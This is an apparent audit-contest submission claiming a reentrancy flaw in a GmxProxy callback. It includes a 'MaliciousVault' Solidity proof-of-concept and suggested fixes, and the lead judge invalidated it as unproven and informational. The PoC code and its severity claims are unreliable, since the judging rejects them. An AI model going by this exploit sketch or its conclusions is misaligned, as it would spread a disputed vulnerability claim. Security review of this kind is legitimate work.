DeFiFoundry
50,000 USDC
View results
Submission Details
Severity: low
Invalid

Critical Reentrancy Vulnerability in GmxProxy.afterOrderCancellation

Summary

  • Vulnerable Contract: GmxProxy

  • Function Affected: afterOrderCancellation

  • Issue: An external call is made to perpVault before the state variable queue is cleared, creating a reentrancy vulnerability.

  • Potential Impact: Attacker can re-enter the contract and manipulate orders before state resets.

  • Severity: High

Vulnerability Details

Vulnerable Code:

function afterOrderCancellation(
bytes32 key,
Order.Props memory order,
EventLogData memory /* eventData */
) external override validCallback(key, order) {
IGmxProxy.OrderResultData memory orderResultData = IGmxProxy
.OrderResultData(
order.numbers.orderType,
order.flags.isLong,
order.numbers.sizeDeltaUsd,
address(0),
0,
queue.isSettle
);
IPerpetualVault(perpVault).afterOrderCancellation(
key,
order.numbers.orderType,
orderResultData
);
delete queue;
}

Why is this Vulnerable?

  1. External Call Before State Change:

    • The function makes an external call to perpVault before clearing queue.

    • If perpVault is controlled by an attacker, they can execute a reentrant call before queue is deleted.

  2. Shared State Across Functions (Cross-Function Reentrancy):

    • queue is accessed in multiple functions:

      • afterOrderCancellation()

      • afterOrderExecution()

      • cancelOrder()

      • createOrder()

    • A reentrant call could manipulate queue before it resets, leading to unauthorized actions.


Impact

Attack Scenario:

  1. Attacker Deploys Malicious Vault Contract:

    • A custom perpVault contract is deployed that calls back into GmxProxy before queue is deleted.

  2. Attacker Calls afterOrderCancellation():

    • This triggers the external call to perpVault.

  3. Malicious Contract Executes Reentrant Call:

    • Before queue is deleted, the attacker calls createOrder() or cancelOrder(), leveraging outdated queue data.

Proof of Concept (PoC) Exploit

This PoC exploit demonstrates how an attacker can re-enter the GmxProxy contract before queue is deleted.

contract MaliciousVault {
GmxProxy public gmxProxy;
bytes32 public storedKey;
Order.Props public storedOrder;
constructor(address _gmxProxy) {
gmxProxy = GmxProxy(_gmxProxy);
}
function attack(bytes32 key, Order.Props memory order) external {
storedKey = key;
storedOrder = order;
gmxProxy.afterOrderCancellation(key, order, EventLogData(0));
}
function afterOrderCancellation(
bytes32 key,
uint8 orderType,
IGmxProxy.OrderResultData memory orderResultData
) external {
// Re-enter the contract before queue is deleted
gmxProxy.createOrder(Order.OrderType.Market, IGmxProxy.OrderData({
size: 1000,
price: 5000
}));
}
}

Tools Used

Vs code

Recommendations

Fix #1: Modify Order of Operations

Ensure queue is deleted before the external call to perpVault;

delete queue; // Clear state first
IPerpetualVault(perpVault).afterOrderCancellation(
key,
order.numbers.orderType,
orderResultData
);

Fix #2: Implement Reentrancy Guard

contract GmxProxy is ReentrancyGuard {
function afterOrderCancellation(
bytes32 key,
Order.Props memory order,
EventLogData memory /* eventData */
) external override validCallback(key, order) nonReentrant {
IGmxProxy.OrderResultData memory orderResultData = IGmxProxy
.OrderResultData(
order.numbers.orderType,
order.flags.isLong,
order.numbers.sizeDeltaUsd,
address(0),
0,
queue.isSettle
);
IPerpetualVault(perpVault).afterOrderCancellation(
key,
order.numbers.orderType,
orderResultData
);
delete queue;
}
}
Updates

Lead Judging Commences

n0kto Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Informational or Gas

Please read the CodeHawks documentation to know which submissions are valid. If you disagree, provide a coded PoC and explain the real likelihood and the detailed impact on the mainnet without any supposition (if, it could, etc) to prove your point.

Suppositions

There is no real proof, concrete root cause, specific impact, or enough details in those submissions. Examples include: "It could happen" without specifying when, "If this impossible case happens," "Unexpected behavior," etc. Make a Proof of Concept (PoC) using external functions and realistic parameters. Do not test only the internal function where you think you found something.

n0kto Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Informational or Gas

Please read the CodeHawks documentation to know which submissions are valid. If you disagree, provide a coded PoC and explain the real likelihood and the detailed impact on the mainnet without any supposition (if, it could, etc) to prove your point.

Suppositions

There is no real proof, concrete root cause, specific impact, or enough details in those submissions. Examples include: "It could happen" without specifying when, "If this impossible case happens," "Unexpected behavior," etc. Make a Proof of Concept (PoC) using external functions and realistic parameters. Do not test only the internal function where you think you found something.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.